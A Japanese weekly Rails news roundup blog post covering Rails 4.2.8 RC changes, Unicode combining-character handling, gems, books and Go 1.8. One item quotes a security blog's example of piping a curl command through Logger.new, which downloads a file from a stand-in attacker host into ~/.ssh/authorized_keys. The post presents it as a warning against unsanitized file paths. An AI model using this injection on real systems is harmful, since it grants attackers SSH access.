週刊Railsウォッチ(20170217)Rails 4.2.8.rc2リリース、Ruby 2.4正規表現とActiveSupportのnormalizeほか

こんにちは、hachi8833です。週刊Railsウォッチの記事件数が増えて泣く泣く絞り込むことが増えてきました。それでは今週もいってみましょう。

臨時ニュース: JavaScriptのアドレス空間配置ランダム化を無効にする攻撃

morimorihogeさんがつい先ほどfetchしたニュースです。詳しくはリンク先をどうぞ。

HackerNewsでも元論文が上昇中のようです。

Rails 4.2.8.rc1リリース(Rails公式より)

Rails 4.2.8のRC1がリリースされました。問題がなければ2/25に正式版リリースとありますが、記事執筆時点ではまだ公開されていません

dirtyなレコードのロックが非推奨に(Rails公式より)

変更の結果は以下です。

# activerecord/lib/active_record/locking/pessimistic.rb
        if persisted?
          if changed?
            ActiveSupport::Deprecation.warn(<<-MSG.squish)
              Locking a record with unpersisted changes is deprecated and will raise an
              exception in Rails 5.2. Use `save` to persist the changes, or `reload` to
              discard them explicitly.
            MSG
          end
          reload(lock: lock)
        end
        self
      end

BPS Webチームのtakanekoさんから「そういえばdirtyなレコードはロックされていようといまいとアクセスすればSQLが発行されてしまうのでリロードされちゃいますね」と教わりました。

コールバック定義への文字列渡し(非推奨)が廃止に(Rails公式より)

以下のようにコールバックのifunlessオプションに文字列を渡すのは今後できなくなるそうです。

# Railsガイドより
class Order < ActiveRecord::Base
  before_save :normalize_card_number, if: "paid_with_card?"
end

PRのkamipoさんコメントで「今後コールバックに文字列を渡したらArgumentError出すようにする」とありました。

Webチームのtsunekawaさんの指摘で気づきましたが、廃止されるのはRails 5.2からなんですね。

「う、文字列渡し使ったことあるかも」という焦りの声がちらほらとありました。文字列を渡す方法はRailsガイドにも書かれていたオプションです。Rails 5.2へのアップグレードではチェックが必要になりそうですね。

ActiveRecord::Base.as_jsonでfrozenしたハッシュを渡せるようになった(Rails公式より)

修正clonedupに変えるだけというピンポイントにキモチイイものでした。clonedupの違いについて一同で速攻調べました。

dup はオブジェクトの内容, taint 情報をコピーし、 clone はそれに加えて freeze, 特異メソッドなどの情報も含めた完全な複製を作成します。
clone や dup は浅い(shallow)コピーであることに注意してください。
Rubyリファレンスマニュアルより

従来のcloneではfreezeが解除されなかったということですね。

RubyのUnicodeサポートについての記事(RubyFlowより)

“動くな! Unicode警察だッ”


Testing Ruby’s Unicode Supportより

「Ruby 2.4の正規表現でウムラウト付きäあたりの動作がおかしいゾ!」という記事ですが、いろいろとツッコミどころが多く、BPS社内で容赦なくマサカリが飛んできました。

  • "ä".dumpしたら"\"a\\u0308\""になるんだから、"ä".each_char.to_a["a", "̈"]になるのは正しいのでは?
  • このって結合文字だよね?
  • 単独文字と結合文字を一緒に扱ってYO!って言ってる?
  • それとも結合文字使っていることに気づかないまま大騒ぎしている?

ということで真に受けてはいけない記事でした。

最初に読んだとき、äはスウェーデン語などで使われているので、本当に問題ならずっと前に騒ぎになっていたのでは?と思ってしまいました。


日本語圏ではめったに着目されませんが、Unicodeの仕様では以下のどちらも許容されています(参考: Unicodeの基本コンセプト)。

  • ä: 単独のウムラウト付き(U+00E4
  • : 普通のaと結合用ウムラウト文字¨U+0308)の組み合わせ

これらの文字は、結合かどうかにかかわらず画面では1文字として表示されるので見ただけではわかりません。

↑上はRuby 2.4での結果です。

確かに、RailsのActiveSupportには#normalizeメソッドがしっかりありますね。ウムラウトはもちろん、後述のカタカナから分離した濁点・半濁点も正規化してくれます。

そういえばRDBMSのコレーション(collation)における単独äと結合äの扱いはいかにも実装に依存しそうですが、Unicodeの仕様どおりなのは果たしてどのRDBMSなのか、バイナリにしなくても区別する/しないを指定できるのかなどが気になってきます。

ついでに: 濁点・半濁点分離問題

日本語圏でこれと少し似ているのが、カタカナの半濁音「パピプペポ」が、変換のはずみで半濁点「U+309A」が「ハ゜ヒ゜フ゜ヘ゜ホ゜」のように分離してしまう問題です。濁点も同様です。

MacとWindows間でやりとりしたファイルの名前などでときどきこの問題が発生します。

しかもUnicodeの全角カタカナ半濁点には2種類あり、後者の結合用半濁点に変換されてしまうとブラウザ上などでは1文字として表示されるので目視で確認できず、より厄介です。

  • 半濁点(単独用): U+309C
  • 半濁点(結合用): U+309A — 単独で表示できない

参考

babaさんおすすめの一次資料はボリューム感たっぷりなので、別の機会に追ってみたいと思います。

Loggerにリモートコード実行(RCE)攻撃を仕掛ける(RubyFlowより)

昨年末の記事です。以下のようにLogger#newの引数にパイプ付きのcurlを食べさせると実行できてしまうという指摘です。即脆弱性につながるものではないにしても、Loggerといえどもファイルパスの引数に外部入力をそのまま食べさせるのはやめましょう。

# http://gavinmiller.io/2016/how-is-logger-susceptible-to-rce/ より
Logger.new("|curl http://attacker.url -o ~/.ssh/authorized_keys")

Gavin Miller氏のブログはRailsのセキュリティ関連の記事が多く、参考になります。

Hanami 1.0.0が4月にリリース予定

HanamiといえばRailsのオルタナティブとして東ヨーロッパ方面で人気のRubyベースのWebフレームワークです。日本の花見の季節に合わせてリリースしたいようです。

現時点のコミット数は1300台で、Railsの60,000台とは比較になりませんが、健闘しているようです。

Rubyで役立つデザインパターン13選(RubyFlowより)

BPS Webチームのオブジェクト伝道師kazzさん御用達ですね。GoFのデザインパターンは23ありますが、その中からRubyに向いた13のパターンを選んだそうです。

コード中心で説明が簡潔なのでとても読みやすいと思います。

Pront gem: 変更点のみに絞った高速コードレビュー(RubyFlowより)

gitのdiffを使ってrubocopflayを狙い撃ちでかけられるようです。GitLabやBitBucketのCIにも統合できるとあります。ランナーが豊富なのが目につきます。

Redisのデータでオートコンプリート


Autocomplete Using Redisより

オートコンプリートのデータを、データベースからLIKEで取り出す代わりにRedisから送り込むことで高速化する方法を解説しています。

RedisはKVS(key-value store)をメモリ上に構築するソフトウェアです。

pry-railsのプロンプトをenvironmentに合わせて自動切り替え(RubyFlowより)

紹介されているスクリプトを~/.pryrcに貼るだけで、pry-railsのプロンプトに現在のenvを表示してくれます。


phansch.netより

「これ便利かも!」という声があがりました。本番でコンソール作業中に.envを設定し忘れていてもこれならすぐ気づけそうです。

早速やってみました。う、表示が狭くなった…

人気gemランキングを読む(Ruby Weeklyより)

RubyGems.orgのランキング情報を解説しています。


Open-Source Software. What is in a poke?の「All Time data」より

ランキング上位なのに日本語記事がほとんどないgemがいくつかありますね。

git-deployはHeroku風にgit push production masterで簡単にデプロイできます。Railsに限らず広く使えるgemのようです。

一同でランキングを見ているとgonの人気も高いことに気づきました。gonはRailsからJSONをブラウザのJavaScriptに渡せるgemです。

これは私の推測ですが、gonのランキングがこんなに高いということは、RailsがバックエンドでJSがフロントという構成がかなり増えているということなのでしょうか。

i18n-active-record: i18nをActiveRecordベースで扱えるgem

Railsのi18n(国際化)といえば、config/locales/の下にロケールごとのymlファイルをずらりと並べて切り替えるという方法が主流ですが、ymlの代わりにActveRecord経由でデータベースに保存できるgemです。

# https://github.com/svenfuchs/i18n-active_record より
  class CreateTranslations < ActiveRecord::Migration
    def self.up
      create_table :translations do |t|
        t.string :locale
        t.string :key
        t.text   :value
        t.text   :interpolations
        t.boolean :is_proc, :default => false

        t.timestamps
      end
    end

    def self.down
      drop_table :translations
    end
  end

小規模であれば数個の.ymlファイルだけで何とかなったのが、規模が拡大するにつれて.ymlファイル間の一貫性が損なわれたり、特定の文言だけを数十言語に渡って一斉に串刺し更新するのが恐ろしく面倒になるというのは容易に想像がつきます。いつかはこういう日が来ます。

翻訳文字列をyml管理からデータベース管理に切り替えたい方は要チェックです。

リポジトリの最後にあるBEYOND YML FILES – DYNAMIC TRANSLATIONSも良記事です。ヨーロッパの小国では自国語だけでWebサービスを作ってもまるで稼げないので、国際化・多言語化は常に切実な問題です。

Rubyだけでできるデバッグ技(RubyFlowより)

簡単ながら良記事です。すべてRubyの機能だけを使うので、pry-debuggerなどが使えない状況で役に立ちそうです。もちろんpryで使ってもかまいません。

TechRacho記事『RubyのIRBやpryでメソッドの定義元をすっと調べる方法』でもご紹介した#methodメソッドを活用している例が多いですね。まだまだいろんなことができそうです。

なお、以下は著者もまだ方法を見つけられていないそうです。どなたかわかりますでしょうか?

takeover.sh: ssh経由でリブートなしでLinuxシステムをクリーンアップ・再インストール(HackerNewsより)

コード量が恐ろしく少ないのが特徴です。WARNINGと4回連続で書いてあります。チャレンジャー求む。

Stackoverflowでメンションが多かった書籍ベスト30(HackerNewsより)


www.dev-books.comより

栄えある1位は『Working Effectively with Legacy Code』でした。何と2004年の本です。

[tmkm-amazon]B005OYHF0A[/tmkm-amazon]

[tmkm-amazon]B01AN97W08[/tmkm-amazon]

一同でランキングを見ていて、『JavaScript Good Parts』の内容が古くなってるらしいとの話が出たので、QuoraにあったQ&Aを貼っておきます。

[tmkm-amazon]4873113911[/tmkm-amazon]

書籍「ゼロから作るOS」(HackerNewsより)

文字どおりOSをゼロから作るという企画です。ハードウェア(電気)の知識も必要とあります。


『Operating System: From 0 to 1』p19より

ベータ版書籍をリンク先で無料でダウンロードできます。サンプルコードは記事執筆時点で3日前と、まだ湯気が立ってますね。

PythonリポジトリがGitHubに引っ越す(HackerNewsより)

今までGit化されていなかったとは知りませんでした。

週末一番使っているのは何よ?(HackerNewsより)


stackoverflow.blogより

StackOverflowのタグベースで分析しているので、プログラミング言語でないものもいろいろ混じってます。週末だから趣味、とは限らないのでいろいろと想像を巡らせてしまいます。


http://stackoverflow.blog/より

上のグラフはタグごとの質問数で、左上ほど週末に質問数が増えているようです。左上の頂上ではアセンブラとHaskellとOpenGLがトップを争っています。SharePointが左の下にさみしく落っこちているあたり、週末SharePointのつらさがしのばれます。(´・ω・`)

Go 1.8がリリース

予定どおりリリースされました。おめでとうございます。

詳しくはリリースノートをご覧ください。ガベージコレクションを含むパフォーマンスがいろいろと改善されたようです。

なお記事執筆時点ではまだhomebrew-coreには反映されていません。

今週は以上です。

関連記事

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Ruby 公式ニュース

Rails公式ニュース

Ruby Weekly

RubyFlow

160928_1638_XvIP4h

Hacker News

160928_1654_q6srdR

Ruby on RailsによるWEBシステム開発、Android/iPhoneアプリ開発、電子書籍配信のことならお任せください この記事を書いた人と働こう! Ruby on Rails の開発なら実績豊富なBPS

この記事の著者

hachi8833

Twitter: @hachi8833、GitHub: @hachi8833

コボラー、ITコンサル、ローカライズ業界、Rails開発を経てTechRachoの編集・記事作成を担当。
これまでにRuby on Rails チュートリアル第2版の半分ほど、Railsガイドの初期翻訳ではほぼすべてを翻訳。その後も折に触れてそれぞれ一部を翻訳。
かと思うと、正規表現の粋を尽くした日本語エラーチェックサービス enno.jpを運営。
実は最近Go言語が好き。
仕事に関係ないすっとこブログ「あけてくれ」は2000年頃から多少の中断をはさんで継続、現在はnote.muに移転。

hachi8833の書いた記事

BPSアドベントカレンダー

週刊Railsウォッチ

インフラ

BigBinary記事より

ActiveSupport探訪シリーズ